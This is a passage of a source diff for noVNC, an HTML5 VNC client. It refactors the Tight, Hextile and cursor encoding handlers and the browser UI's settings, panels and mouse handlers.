+ rQi += this._fb_Bpp;
+ }
+ if (this._FBU.subencoding & 0x04) { // Foreground
+ this._FBU.foreground = rQ.slice(rQi, rQi + this._fb_Bpp);
+ rQi += this._fb_Bpp;
+ }
+
+ this._display.startTile(x, y, w, h, this._FBU.background);
+ if (this._FBU.subencoding & 0x08) { // AnySubrects
+ subrects = rQ[rQi];
+ rQi++;
+
+ for (var s = 0; s < subrects; s++) {
+ var color;
+ if (this._FBU.subencoding & 0x10) { // SubrectsColoured
+ color = rQ.slice(rQi, rQi + this._fb_Bpp);
+ rQi += this._fb_Bpp;
+ } else {
+ color = this._FBU.foreground;
+ }
+ var xy = rQ[rQi];
+ rQi++;
+ var sx = (xy >> 4);
+ var sy = (xy & 0x0f);
+
+ var wh = rQ[rQi];
+ rQi++;
+ var sw = (wh >> 4) + 1;
+ var sh = (wh & 0x0f) + 1;
+
+ this._display.subTile(sx, sy, sw, sh, color);
+ }
+ }
+ this._display.finishTile();
+ }
+ this._sock.set_rQi(rQi);
+ this._FBU.lastsubencoding = this._FBU.subencoding;
+ this._FBU.bytes = 0;
+ this._FBU.tiles--;
+ }
+
+ if (this._FBU.tiles === 0) {
+ this._FBU.rects--;
+ }
+
+ return true;
+ },
+
+ getTightCLength: function (arr) {
+ var header = 1, data = 0;
+ data += arr[0] & 0x7f;
+ if (arr[0] & 0x80) {
+ header++;
+ data += (arr[1] & 0x7f) << 7;
+ if (arr[1] & 0x80) {
+ header++;
+ data += arr[2] << 14;
+ }
+ }
+ return [header, data];
+ },
+
+ display_tight: function (isTightPNG) {
+ if (this._fb_depth === 1) {
+ this._fail("Tight protocol handler only implements true color mode");
+ }
+
+ this._FBU.bytes = 1; // compression-control byte
+ if (this._sock.rQwait("TIGHT compression-control", this._FBU.bytes)) { return false; }
+
+ var checksum = function (data) {
+ var sum = 0;
+ for (var i = 0; i < data.length; i++) {
+ sum += data[i];
+ if (sum > 65536) sum -= 65536;
+ }
+ return sum;
+ };
+
+ var resetStreams = 0;
+ var streamId = -1;
+ var decompress = function (data) {
+ for (var i = 0; i < 4; i++) {
+ if ((resetStreams >> i) & 1) {
+ this._FBU.zlibs[i].reset();
+ Util.Info("Reset zlib stream " + i);
+ }
+ }
+
+ var uncompressed = this._FBU.zlibs[streamId].uncompress(data, 0);
+ if (uncompressed.status !== 0) {
+ Util.Error("Invalid data in zlib stream");
+ }
+
+ return uncompressed.data;
+ }.bind(this);
+
+ var indexedToRGB = function (data, numColors, palette, width, height) {
+ // Convert indexed (palette based) image data to RGB
+ // TODO: reduce number of calculations inside loop
+ var dest = [];
+ var x, y, dp, sp;
+ if (numColors === 2) {
+ var w = Math.floor((width + 7) / 8);
+ var w1 = Math.floor(width / 8);
+
+ for (y = 0; y < height; y++) {
+ var b;
+ for (x = 0; x < w1; x++) {
+ for (b = 7; b >= 0; b--) {
+ dp = (y * width + x * 8 + 7 - b) * 3;
+ sp = (data[y * w + x] >> b & 1) * 3;
+ dest[dp] = palette[sp];
+ dest[dp + 1] = palette[sp + 1];
+ dest[dp + 2] = palette[sp + 2];
+ }
+ }
+
+ for (b = 7; b >= 8 - width % 8; b--) {
+ dp = (y * width + x * 8 + 7 - b) * 3;
+ sp = (data[y * w + x] >> b & 1) * 3;
+ dest[dp] = palette[sp];
+ dest[dp + 1] = palette[sp + 1];
+ dest[dp + 2] = palette[sp + 2];
+ }
+ }
+ } else {
+ for (y = 0; y < height; y++) {
+ for (x = 0; x < width; x++) {
+ dp = (y * width + x) * 3;
+ sp = data[y * width + x] * 3;
+ dest[dp] = palette[sp];
+ dest[dp + 1] = palette[sp + 1];
+ dest[dp + 2] = palette[sp + 2];
+ }
+ }
+ }
+
+ return dest;
+ }.bind(this);
+
+ var rQ = this._sock.get_rQ();
+ var rQi = this._sock.get_rQi();
+ var cmode, clength, data;
+
+ var handlePalette = function () {
+ var numColors = rQ[rQi + 2] + 1;
+ var paletteSize = numColors * this._fb_depth;
+ this._FBU.bytes += paletteSize;
+ if (this._sock.rQwait("TIGHT palette " + cmode, this._FBU.bytes)) { return false; }
+
+ var bpp = (numColors <= 2) ? 1 : 8;
+ var rowSize = Math.floor((this._FBU.width * bpp + 7) / 8);
+ var raw = false;
+ if (rowSize * this._FBU.height < 12) {
+ raw = true;
+ clength = [0, rowSize * this._FBU.height];
+ } else {
+ clength = RFB.encodingHandlers.getTightCLength(this._sock.rQslice(3 + paletteSize,
+ 3 + paletteSize + 3));
+ }
+
+ this._FBU.bytes += clength[0] + clength[1];
+ if (this._sock.rQwait("TIGHT " + cmode, this._FBU.bytes)) { return false; }
+
+ // Shift ctl, filter id, num colors, palette entries, and clength off
+ this._sock.rQskipBytes(3);
+ var palette = this._sock.rQshiftBytes(paletteSize);
+ this._sock.rQskipBytes(clength[0]);
+
+ if (raw) {
+ data = this._sock.rQshiftBytes(clength[1]);
+ } else {
+ data = decompress(this._sock.rQshiftBytes(clength[1]));
+ }
+
+ // Convert indexed (palette based) image data to RGB
+ var rgb = indexedToRGB(data, numColors, palette, this._FBU.width, this._FBU.height);
+
+ this._display.renderQ_push({
+ 'type': 'blitRgb',
+ 'data': rgb,
+ 'x': this._FBU.x,
+ 'y': this._FBU.y,
+ 'width': this._FBU.width,
+ 'height': this._FBU.height
+ });
+
+ return true;
+ }.bind(this);
+
+ var handleCopy = function () {
+ var raw = false;
+ var uncompressedSize = this._FBU.width * this._FBU.height * this._fb_depth;
+ if (uncompressedSize < 12) {
+ raw = true;
+ clength = [0, uncompressedSize];
+ } else {
+ clength = RFB.encodingHandlers.getTightCLength(this._sock.rQslice(1, 4));
+ }
+ this._FBU.bytes = 1 + clength[0] + clength[1];
+ if (this._sock.rQwait("TIGHT " + cmode, this._FBU.bytes)) { return false; }
+
+ // Shift ctl, clength off
+ this._sock.rQshiftBytes(1 + clength[0]);
+
+ if (raw) {
+ data = this._sock.rQshiftBytes(clength[1]);
+ } else {
+ data = decompress(this._sock.rQshiftBytes(clength[1]));
+ }
+
+ this._display.renderQ_push({
+ 'type': 'blitRgb',
+ 'data': data,
+ 'x': this._FBU.x,
+ 'y': this._FBU.y,
+ 'width': this._FBU.width,
+ 'height': this._FBU.height
+ });
+
+ return true;
+ }.bind(this);
+
+ var ctl = this._sock.rQpeek8();
+
+ // Keep tight reset bits
+ resetStreams = ctl & 0xF;
+
+ // Figure out filter
+ ctl = ctl >> 4;
+ streamId = ctl & 0x3;
+
+ if (ctl === 0x08) cmode = "fill";
+ else if (ctl === 0x09) cmode = "jpeg";
+ else if (ctl === 0x0A) cmode = "png";
+ else if (ctl & 0x04) cmode = "filter";
+ else if (ctl < 0x04) cmode = "copy";
+ else return this._fail("Illegal tight compression received, ctl: " + ctl);
+
+ if (isTightPNG && (cmode === "filter" || cmode === "copy")) {
+ return this._fail("filter/copy received in tightPNG mode");
+ }
+
+ switch (cmode) {
+ // fill use fb_depth because TPIXELs drop the padding byte
+ case "fill": // TPIXEL
+ this._FBU.bytes += this._fb_depth;
+ break;
+ case "jpeg": // max clength
+ this._FBU.bytes += 3;
+ break;
+ case "png": // max clength
+ this._FBU.bytes += 3;
+ break;
+ case "filter": // filter id + num colors if palette
+ this._FBU.bytes += 2;
+ break;
+ case "copy":
+ break;
+ }
+
+ if (this._sock.rQwait("TIGHT " + cmode, this._FBU.bytes)) { return false; }
+
+ // Determine FBU.bytes
+ switch (cmode) {
+ case "fill":
+ this._sock.rQskip8(); // shift off ctl
+ var color = this._sock.rQshiftBytes(this._fb_depth);
+ this._display.renderQ_push({
+ 'type': 'fill',
+ 'x': this._FBU.x,
+ 'y': this._FBU.y,
+ 'width': this._FBU.width,
+ 'height': this._FBU.height,
+ 'color': [color[2], color[1], color[0]]
+ });
+ break;
+ case "png":
+ case "jpeg":
+ clength = RFB.encodingHandlers.getTightCLength(this._sock.rQslice(1, 4));
+ this._FBU.bytes = 1 + clength[0] + clength[1]; // ctl + clength size + jpeg-data
+ if (this._sock.rQwait("TIGHT " + cmode, this._FBU.bytes)) { return false; }
+
+ // We have everything, render it
+ this._sock.rQskipBytes(1 + clength[0]); // shift off clt + compact length
+ var img = new Image();
+ img.src = "data: image/" + cmode +
+ RFB.extract_data_uri(this._sock.rQshiftBytes(clength[1]));
+ this._display.renderQ_push({
+ 'type': 'img',
+ 'img': img,
+ 'x': this._FBU.x,
+ 'y': this._FBU.y
+ });
+ img = null;
+ break;
+ case "filter":
+ var filterId = rQ[rQi + 1];
+ if (filterId === 1) {
+ if (!handlePalette()) { return false; }
+ } else {
+ // Filter 0, Copy could be valid here, but servers don't send it as an explicit filter
+ // Filter 2, Gradient is valid but not use if jpeg is enabled
+ // TODO(directxman12): why aren't we just calling '_fail' here
+ throw new Error("Unsupported tight subencoding received, filter: " + filterId);
+ }
+ break;
+ case "copy":
+ if (!handleCopy()) { return false; }
+ break;
+ }
+ this._FBU.bytes = 0;
+ this._FBU.rects--;
-keyEvent = function(keysym, down) {
- //Util.Debug(">> keyEvent, keysym: " + keysym + ", down: " + down);
- var arr;
- arr = [4]; // msg-type
- arr.push8(down);
- arr.push16(0);
- arr.push32(keysym);
- //Util.Debug("<< keyEvent");
- return arr;
-};
+ return true;
+ },
-pointerEvent = function(x, y) {
- //Util.Debug(">> pointerEvent, x,y: " + x + "," + y +
- // " , mask: " + mouse_buttonMask);
- var arr;
- arr = [5]; // msg-type
- arr.push8(mouse_buttonMask);
- arr.push16(x);
- arr.push16(y);
- //Util.Debug("<< pointerEvent");
- return arr;
-};
+ TIGHT: function () { return this._encHandlers.display_tight(false); },
+ TIGHT_PNG: function () { return this._encHandlers.display_tight(true); },
-clientCutText = function(text) {
- //Util.Debug(">> clientCutText");
- var arr, i, n;
- arr = [6]; // msg-type
- arr.push8(0); // padding
- arr.push8(0); // padding
- arr.push8(0); // padding
- arr.push32(text.length);
- n = text.length;
- for (i=0; i < n; i+=1) {
- arr.push(text.charCodeAt(i));
- }
- //Util.Debug("<< clientCutText:" + arr);
- return arr;
-};
+ last_rect: function () {
+ this._FBU.rects = 0;
+ return true;
+ },
+ DesktopSize: function () {
+ Util.Debug(">> set_desktopsize");
+ this._fb_width = this._FBU.width;
+ this._fb_height = this._FBU.height;
+ this._onFBResize(this, this._fb_width, this._fb_height);
+ this._display.resize(this._fb_width, this._fb_height);
+ this._timing.fbu_rt_start = (new Date()).getTime();
+ this._FBU.bytes = 0;
+ this._FBU.rects--;
-//
-// Public API interface functions
-//
+ Util.Debug("<< set_desktopsize");
+ return true;
+ },
-that.connect = function(host, port, password, path) {
- //Util.Debug(">> connect");
+ Cursor: function () {
+ Util.Debug(">> set_cursor");
+ var x = this._FBU.x; // hotspot-x
+ var y = this._FBU.y; // hotspot-y
+ var w = this._FBU.width;
+ var h = this._FBU.height;
- rfb_host = host;
- rfb_port = port;
- rfb_password = (password !== undefined) ? password : "";
- rfb_path = (path !== undefined) ? path : "";
+ var pixelslength = w * h * this._fb_Bpp;
+ var masklength = Math.floor((w + 7) / 8) * h;
- if ((!rfb_host) || (!rfb_port)) {
- return fail("Must set host and port");
- }
+ this._FBU.bytes = pixelslength + masklength;
+ if (this._sock.rQwait("cursor encoding", this._FBU.bytes)) { return false; }
- updateState('connect');
- //Util.Debug("<< connect");
+ this._display.changeCursor(this._sock.rQshiftBytes(pixelslength),
+ this._sock.rQshiftBytes(masklength),
+ x, y, w, h);
-};
+ this._FBU.bytes = 0;
+ this._FBU.rects--;
-that.disconnect = function() {
- //Util.Debug(">> disconnect");
- updateState('disconnect', 'Disconnecting');
- //Util.Debug("<< disconnect");
-};
+ Util.Debug("<< set_cursor");
+ return true;
+ },
-that.sendPassword = function(passwd) {
- rfb_password = passwd;
- rfb_state = "Authentication";
- setTimeout(init_msg, 1);
-};
+ JPEG_quality_lo: function () {
+ Util.Error("Server sent jpeg_quality pseudo-encoding");
+ },
-that.sendCtrlAltDel = function() {
- if (rfb_state !== "normal" || conf.view_only) { return false; }
- Util.Info("Sending Ctrl-Alt-Del");
- var arr = [];
- arr = arr.concat(keyEvent(0xFFE3, 1)); // Control
- arr = arr.concat(keyEvent(0xFFE9, 1)); // Alt
- arr = arr.concat(keyEvent(0xFFFF, 1)); // Delete
- arr = arr.concat(keyEvent(0xFFFF, 0)); // Delete
- arr = arr.concat(keyEvent(0xFFE9, 0)); // Alt
- arr = arr.concat(keyEvent(0xFFE3, 0)); // Control
- arr = arr.concat(fbUpdateRequests());
- ws.send(arr);
-};
-
-// Send a key press. If 'down' is not specified then send a down key
-// followed by an up key.
-that.sendKey = function(code, down) {
- if (rfb_state !== "normal" || conf.view_only) { return false; }
- var arr = [];
- if (typeof down !== 'undefined') {
- Util.Info("Sending key code (" + (down ? "down" : "up") + "): " + code);
- arr = arr.concat(keyEvent(code, down ? 1 : 0));
- } else {
- Util.Info("Sending key code (down + up): " + code);
- arr = arr.concat(keyEvent(code, 1));
- arr = arr.concat(keyEvent(code, 0));
- }
- arr = arr.concat(fbUpdateRequests());
- ws.send(arr);
-};
-
-that.clipboardPasteFrom = function(text) {
- if (rfb_state !== "normal") { return; }
- //Util.Debug(">> clipboardPasteFrom: " + text.substr(0,40) + "...");
- ws.send(clientCutText(text));
- //Util.Debug("<< clipboardPasteFrom");
-};
-
-// Override internal functions for testing
-that.testMode = function(override_send) {
- test_mode = true;
- that.recv_message = ws.testMode(override_send);
-
- checkEvents = function () { /* Stub Out */ };
- that.connect = function(host, port, password) {
- rfb_host = host;
- rfb_port = port;
- rfb_password = password;
- updateState('ProtocolVersion', "Starting VNC handshake");
- };
-};
-
-
-return constructor(); // Return the public API interface
-
-} // End of RFB()
+ compress_lo: function () {
+ Util.Error("Server sent compress level pseudo-encoding");
+ }
+ };
+})();
diff --git a/webclients/novnc/include/ui.js b/webclients/novnc/include/ui.js
index eddfa6c..e869aa6 100644
--- a/webclients/novnc/include/ui.js
+++ b/webclients/novnc/include/ui.js
@@ -1,653 +1,979 @@
/*
* noVNC: HTML5 VNC client
- * Copyright (C) 2011 Joel Martin
- * Licensed under LGPL-3 (see LICENSE.txt)
+ * Copyright (C) 2012 Joel Martin
+ * Copyright (C) 2013 Samuel Mannehed for Cendio AB
+ * Licensed under MPL 2.0 (see LICENSE.txt)
*
* See README.md for usage and integration instructions.
*/
-"use strict";
-/*jslint white: false, browser: true */
-/*global window, $D, Util, WebUtil, RFB, Display */
+/* jslint white: false, browser: true */
+/* global window, $D, Util, WebUtil, RFB, Display */
-var UI = {
+var UI;
-rfb_state : 'loaded',
-settingsOpen : false,
-connSettingsOpen : false,
-clipboardOpen: false,
-keyboardVisible: false,
+(function () {
+ "use strict";
-// Render default UI and initialize settings menu
-load: function() {
- var html = '', i, sheet, sheets, llevels;
+ // Load supporting scripts
+ window.onscriptsload = function () { UI.load(); };
+ window.onload = function () { UI.keyboardinputReset(); };
+ Util.load_scripts(["webutil.js", "base64.js", "websock.js", "des.js",
+ "keysymdef.js", "keyboard.js", "input.js", "display.js",
+ "jsunzip.js", "rfb.js", "keysym.js"]);
- // Stylesheet selection dropdown
- sheet = WebUtil.selectStylesheet();
- sheets = WebUtil.getStylesheets();
- for (i = 0; i < sheets.length; i += 1) {
- UI.addOption($D('noVNC_stylesheet'),sheets[i].title, sheets[i].title);
- }
+ var UI = {
- // Logging selection dropdown
- llevels = ['error', 'warn', 'info', 'debug'];
- for (i = 0; i < llevels.length; i += 1) {
- UI.addOption($D('noVNC_logging'),llevels[i], llevels[i]);
- }
+ rfb_state : 'loaded',
+ settingsOpen : false,
+ connSettingsOpen : false,
+ popupStatusOpen : false,
+ clipboardOpen: false,
+ keyboardVisible: false,
+ hideKeyboardTimeout: null,
+ lastKeyboardinput: null,
+ defaultKeyboardinputLen: 100,
+ extraKeysVisible: false,
+ ctrlOn: false,
+ altOn: false,
+ isTouchDevice: false,
- // Settings with immediate effects
- UI.initSetting('logging', 'warn');
- WebUtil.init_logging(UI.getSetting('logging'));
+ // Setup rfb object, load settings from browser storage, then call
+ // UI.init to setup the UI/menus
+ load: function (callback) {
+ WebUtil.initSettings(UI.start, callback);
+ },
- UI.initSetting('stylesheet', 'default');
- WebUtil.selectStylesheet(null);
- // call twice to get around webkit bug
- WebUtil.selectStylesheet(UI.getSetting('stylesheet'));
+ // Render default UI and initialize settings menu
+ start: function(callback) {
+ UI.isTouchDevice = 'ontouchstart' in document.documentElement;
- /* Populate the controls if defaults are provided in the URL */
- UI.initSetting('host', window.location.hostname);
- UI.initSetting('port', window.location.port);
- UI.initSetting('password', '');
- UI.initSetting('encrypt', (window.location.protocol === "https:"));
- UI.initSetting('true_color', true);
- UI.initSetting('cursor', false);
- UI.initSetting('shared', true);
- UI.initSetting('view_only', false);
- UI.initSetting('connectTimeout', 2);
- UI.initSetting('path', 'websockify');
-
- UI.rfb = RFB({'target': $D('noVNC_canvas'),
- 'onUpdateState': UI.updateState,
- 'onClipboard': UI.clipReceive});
- UI.updateVisualState();
-
- // Unfocus clipboard when over the VNC area
- //$D('VNC_screen').onmousemove = function () {
- // var keyboard = UI.rfb.get_keyboard();
- // if ((! keyboard) || (! keyboard.get_focused())) {
- // $D('VNC_clipboard_text').blur();
- // }
- // };
-
- // Show mouse selector buttons on touch screen devices
- if ('ontouchstart' in document.documentElement) {
- // Show mobile buttons
- $D('noVNC_mobile_buttons').style.display = "inline";
- UI.setMouseButton();
- // Remove the address bar
- setTimeout(function() { window.scrollTo(0, 1); }, 100);
- UI.forceSetting('clip', true);
- $D('noVNC_clip').disabled = true;
- } else {
- UI.initSetting('clip', false);
- }
-
- //iOS Safari does not support CSS position:fixed.
- //This detects iOS devices and enables javascript workaround.
- if ((navigator.userAgent.match(/iPhone/i)) ||
- (navigator.userAgent.match(/iPod/i)) ||
- (navigator.userAgent.match(/iPad/i))) {
- //UI.setOnscroll();
- //UI.setResize();
- }
-
- $D('noVNC_host').focus();
-
- UI.setViewClip();
- Util.addEvent(window, 'resize', UI.setViewClip);
-
- Util.addEvent(window, 'beforeunload', function () {
- if (UI.rfb_state === 'normal') {
- return "You are currently connected.";
- }
- } );
-
- // Show description by default when hosted at for kanaka.github.com
- if (location.host === "kanaka.github.com") {
- // Open the description dialog
- $D('noVNC_description').style.display = "block";
- } else {
- // Open the connect panel on first load
- UI.toggleConnectPanel();
- }
-},
-
-// Read form control compatible setting from cookie
-getSetting: function(name) {
- var val, ctrl = $D('noVNC_' + name);
- val = WebUtil.readCookie(name);
- if (ctrl.type === 'checkbox') {
- if (val.toLowerCase() in {'0':1, 'no':1, 'false':1}) {
- val = false;
- } else {
- val = true;
- }
- }
- return val;
-},
-
-// Update cookie and form control setting. If value is not set, then
-// updates from control to current cookie setting.
-updateSetting: function(name, value) {
-
- var i, ctrl = $D('noVNC_' + name);
- // Save the cookie for this session
- if (typeof value !== 'undefined') {
- WebUtil.createCookie(name, value);
- }
-
- // Update the settings control
- value = UI.getSetting(name);
-
- if (ctrl.type === 'checkbox') {
- ctrl.checked = value;
-
- } else if (typeof ctrl.options !== 'undefined') {
- for (i = 0; i < ctrl.options.length; i += 1) {
- if (ctrl.options[i].value === value) {
- ctrl.selectedIndex = i;
- break;
+ // Stylesheet selection dropdown
+ var sheet = WebUtil.selectStylesheet();
+ var sheets = WebUtil.getStylesheets();
+ var i;
+ for (i = 0; i < sheets.length; i += 1) {
+ UI.addOption($D('noVNC_stylesheet'),sheets[i].title, sheets[i].title);
}
- }
- } else {
- /*Weird IE9 error leads to 'null' appearring
- in textboxes instead of ''.*/
- if (value === null) {
- value = "";
- }
- ctrl.value = value;
- }
-},
-// Save control setting to cookie
-saveSetting: function(name) {
- var val, ctrl = $D('noVNC_' + name);
- if (ctrl.type === 'checkbox') {
- val = ctrl.checked;
- } else if (typeof ctrl.options !== 'undefined') {
- val = ctrl.options[ctrl.selectedIndex].value;
- } else {
- val = ctrl.value;
- }
- WebUtil.createCookie(name, val);
- //Util.Debug("Setting saved '" + name + "=" + val + "'");
- return val;
-},
+ // Logging selection dropdown
+ var llevels = ['error', 'warn', 'info', 'debug'];
+ for (i = 0; i < llevels.length; i += 1) {
+ UI.addOption($D('noVNC_logging'),llevels[i], llevels[i]);
+ }
-// Initial page load read/initialization of settings
-initSetting: function(name, defVal) {
- var val;
+ // Settings with immediate effects
+ UI.initSetting('logging', 'warn');
+ WebUtil.init_logging(UI.getSetting('logging'));
- // Check Query string followed by cookie
- val = WebUtil.getQueryVar(name);
- if (val === null) {
- val = WebUtil.readCookie(name, defVal);
- }
- UI.updateSetting(name, val);
- //Util.Debug("Setting '" + name + "' initialized to '" + val + "'");
- return val;
-},
+ UI.initSetting('stylesheet', 'default');
+ WebUtil.selectStylesheet(null);
+ // call twice to get around webkit bug
+ WebUtil.selectStylesheet(UI.getSetting('stylesheet'));
-// Force a setting to be a certain value
-forceSetting: function(name, val) {
- UI.updateSetting(name, val);
- return val;
-},
+ // if port == 80 (or 443) then it won't be present and should be
+ // set manually
+ var port = window.location.port;
+ if (!port) {
+ if (window.location.protocol.substring(0,5) == 'https') {
+ port = 443;
+ }
+ else if (window.location.protocol.substring(0,4) == 'http') {
+ port = 80;
+ }
+ }
+
+ /* Populate the controls if defaults are provided in the URL */
+ UI.initSetting('host', window.location.hostname);
+ UI.initSetting('port', port);
+ UI.initSetting('password', '');
+ UI.initSetting('encrypt', (window.location.protocol === "https:"));
+ UI.initSetting('true_color', true);
+ UI.initSetting('cursor', !UI.isTouchDevice);
+ UI.initSetting('shared', true);
+ UI.initSetting('view_only', false);
+ UI.initSetting('path', 'websockify');
+ UI.initSetting('repeaterID', '');
+
+ UI.rfb = new RFB({'target': $D('noVNC_canvas'),
+ 'onUpdateState': UI.updateState,
+ 'onXvpInit': UI.updateXvpVisualState,
+ 'onClipboard': UI.clipReceive,
+ 'onDesktopName': UI.updateDocumentTitle});
+
+ var autoconnect = WebUtil.getQueryVar('autoconnect', false);
+ if (autoconnect === 'true' || autoconnect == '1') {
+ autoconnect = true;
+ UI.connect();
+ } else {
+ autoconnect = false;
+ }
+
+ UI.updateVisualState();
+
+ // Show mouse selector buttons on touch screen devices
+ if (UI.isTouchDevice) {
+ // Show mobile buttons
+ $D('noVNC_mobile_buttons').style.display = "inline";
+ UI.setMouseButton();
+ // Remove the address bar
+ setTimeout(function() { window.scrollTo(0, 1); }, 100);
+ UI.forceSetting('clip', true);
+ $D('noVNC_clip').disabled = true;
+ } else {
+ UI.initSetting('clip', false);
+ }
+
+ //iOS Safari does not support CSS position:fixed.
+ //This detects iOS devices and enables javascript workaround.
+ if ((navigator.userAgent.match(/iPhone/i)) ||
+ (navigator.userAgent.match(/iPod/i)) ||
+ (navigator.userAgent.match(/iPad/i))) {
+ //UI.setOnscroll();
+ //UI.setResize();
+ }
+ UI.setBarPosition();
+
+ $D('noVNC_host').focus();
+
+ UI.setViewClip();
+ Util.addEvent(window, 'resize', UI.setViewClip);
+
+ Util.addEvent(window, 'beforeunload', function () {
+ if (UI.rfb_state === 'normal') {
+ return "You are currently connected.";
+ }
+ } );
+
+ // Show description by default when hosted at for kanaka.github.com
+ if (location.host === "kanaka.github.io") {
+ // Open the description dialog
+ $D('noVNC_description').style.display = "block";
+ } else {
+ // Show the connect panel on first load unless autoconnecting
+ if (autoconnect === UI.connSettingsOpen) {
+ UI.toggleConnectPanel();
+ }
+ }
+
+ // Add mouse event click/focus/blur event handlers to the UI
+ UI.addMouseHandlers();
+
+ if (typeof callback === "function") {
+ callback(UI.rfb);
+ }
+ },
+
+ addMouseHandlers: function() {
+ // Setup interface handlers that can't be inline
+ $D("noVNC_view_drag_button").onclick = UI.setViewDrag;
+ $D("noVNC_mouse_button0").onclick = function () { UI.setMouseButton(1); };
+ $D("noVNC_mouse_button1").onclick = function () { UI.setMouseButton(2); };
+ $D("noVNC_mouse_button2").onclick = function () { UI.setMouseButton(4); };
+ $D("noVNC_mouse_button4").onclick = function () { UI.setMouseButton(0); };
+ $D("showKeyboard").onclick = UI.showKeyboard;
+
+ $D("keyboardinput").oninput = UI.keyInput;
+ $D("keyboardinput").onblur = UI.keyInputBlur;
+
+ $D("showExtraKeysButton").onclick = UI.showExtraKeys;
+ $D("toggleCtrlButton").onclick = UI.toggleCtrl;
+ $D("toggleAltButton").onclick = UI.toggleAlt;
+ $D("sendTabButton").onclick = UI.sendTab;
+ $D("sendEscButton").onclick = UI.sendEsc;
+
+ $D("sendCtrlAltDelButton").onclick = UI.sendCtrlAltDel;
+ $D("xvpShutdownButton").onclick = UI.xvpShutdown;
+ $D("xvpRebootButton").onclick = UI.xvpReboot;
+ $D("xvpResetButton").onclick = UI.xvpReset;
+ $D("noVNC_status").onclick = UI.togglePopupStatusPanel;
+ $D("noVNC_popup_status_panel").onclick = UI.togglePopupStatusPanel;
+ $D("xvpButton").onclick = UI.toggleXvpPanel;
+ $D("clipboardButton").onclick = UI.toggleClipboardPanel;
+ $D("settingsButton").onclick = UI.toggleSettingsPanel;
+ $D("connectButton").onclick = UI.toggleConnectPanel;
+ $D("disconnectButton").onclick = UI.disconnect;
+ $D("descriptionButton").onclick = UI.toggleConnectPanel;
+
+ $D("noVNC_clipboard_text").onfocus = UI.displayBlur;
+ $D("noVNC_clipboard_text").onblur = UI.displayFocus;
+ $D("noVNC_clipboard_text").onchange = UI.clipSend;
+ $D("noVNC_clipboard_clear_button").onclick = UI.clipClear;
+
+ $D("noVNC_settings_menu").onmouseover = UI.displayBlur;
+ $D("noVNC_settings_menu").onmouseover = UI.displayFocus;
+ $D("noVNC_apply").onclick = UI.settingsApply;
+
+ $D("noVNC_connect_button").onclick = UI.connect;
+ },
+
+ // Read form control compatible setting from cookie
+ getSetting: function(name) {
+ var ctrl = $D('noVNC_' + name);
+ var val = WebUtil.readSetting(name);
+ if (val !== null && ctrl.type === 'checkbox') {
+ if (val.toString().toLowerCase() in {'0':1, 'no':1, 'false':1}) {
+ val = false;
+ } else {
+ val = true;
+ }
+ }
+ return val;
+ },
+
+ // Update cookie and form control setting. If value is not set, then
+ // updates from control to current cookie setting.
+ updateSetting: function(name, value) {
+
+ // Save the cookie for this session
+ if (typeof value !== 'undefined') {
+ WebUtil.writeSetting(name, value);
+ }
+
+ // Update the settings control
+ value = UI.getSetting(name);
+
+ var ctrl = $D('noVNC_' + name);
+ if (ctrl.type === 'checkbox') {
+ ctrl.checked = value;
+
+ } else if (typeof ctrl.options !== 'undefined') {
+ for (var i = 0; i < ctrl.options.length; i += 1) {
+ if (ctrl.options[i].value === value) {
+ ctrl.selectedIndex = i;
+ break;
+ }
+ }
+ } else {
+ /*Weird IE9 error leads to 'null' appearring
+ in textboxes instead of ''.*/
+ if (value === null) {
+ value = "";
+ }
+ ctrl.value = value;
+ }
+ },
+
+ // Save control setting to cookie
+ saveSetting: function(name) {
+ var val, ctrl = $D('noVNC_' + name);
+ if (ctrl.type === 'checkbox') {
+ val = ctrl.checked;
+ } else if (typeof ctrl.options !== 'undefined') {
+ val = ctrl.options[ctrl.selectedIndex].value;
+ } else {
+ val = ctrl.value;
+ }
+ WebUtil.writeSetting(name, val);
+ //Util.Debug("Setting saved '" + name + "=" + val + "'");
+ return val;
+ },
+
+ // Initial page load read/initialization of settings
+ initSetting: function(name, defVal) {
+ // Check Query string followed by cookie
+ var val = WebUtil.getQueryVar(name);
+ if (val === null) {
+ val = WebUtil.readSetting(name, defVal);
+ }
+ UI.updateSetting(name, val);
+ return val;
+ },
+
+ // Force a setting to be a certain value
+ forceSetting: function(name, val) {
+ UI.updateSetting(name, val);
+ return val;
+ },
-// Show the clipboard panel
-toggleClipboardPanel: function() {
- // Close the description panel
- $D('noVNC_description').style.display = "none";
- //Close settings if open
- if (UI.settingsOpen === true) {
- UI.settingsApply();
- UI.closeSettingsMenu();
- }
- //Close connection settings if open
- if (UI.connSettingsOpen === true) {
- UI.toggleConnectPanel();
- }
- //Toggle Clipboard Panel
- if (UI.clipboardOpen === true) {
- $D('noVNC_clipboard').style.display = "none";
- $D('clipboardButton').className = "noVNC_status_button";
- UI.clipboardOpen = false;
- } else {
- $D('noVNC_clipboard').style.display = "block";
- $D('clipboardButton').className = "noVNC_status_button_selected";
- UI.clipboardOpen = true;
- }
-},
+ // Show the popup status panel
+ togglePopupStatusPanel: function() {
+ var psp = $D('noVNC_popup_status_panel');
+ if (UI.popupStatusOpen === true) {
+ psp.style.display = "none";
+ UI.popupStatusOpen = false;
+ } else {
+ psp.innerHTML = $D('noVNC_status').innerHTML;
+ psp.style.display = "block";
+ psp.style.left = window.innerWidth/2 -
+ parseInt(window.getComputedStyle(psp, false).width)/2 -30 + "px";
+ UI.popupStatusOpen = true;
+ }
+ },
-// Show the connection settings panel/menu
-toggleConnectPanel: function() {
- // Close the description panel
- $D('noVNC_description').style.display = "none";
- //Close connection settings if open
- if (UI.settingsOpen === true) {
- UI.settingsApply();
- UI.closeSettingsMenu();
- $D('connectButton').className = "noVNC_status_button";
- }
- if (UI.clipboardOpen === true) {
- UI.toggleClipboardPanel();
- }
+ // Show the XVP panel
+ toggleXvpPanel: function() {
+ // Close the description panel
+ $D('noVNC_description').style.display = "none";
+ // Close settings if open
+ if (UI.settingsOpen === true) {
+ UI.settingsApply();
+ UI.closeSettingsMenu();
+ }
+ // Close connection settings if open
+ if (UI.connSettingsOpen === true) {
+ UI.toggleConnectPanel();
+ }
+ // Close popup status panel if open
+ if (UI.popupStatusOpen === true) {
+ UI.togglePopupStatusPanel();
+ }
+ // Close clipboard panel if open
+ if (UI.clipboardOpen === true) {
+ UI.toggleClipboardPanel();
+ }
+ // Toggle XVP panel
+ if (UI.xvpOpen === true) {
+ $D('noVNC_xvp').style.display = "none";
+ $D('xvpButton').className = "noVNC_status_button";
+ UI.xvpOpen = false;
+ } else {
+ $D('noVNC_xvp').style.display = "block";
+ $D('xvpButton').className = "noVNC_status_button_selected";
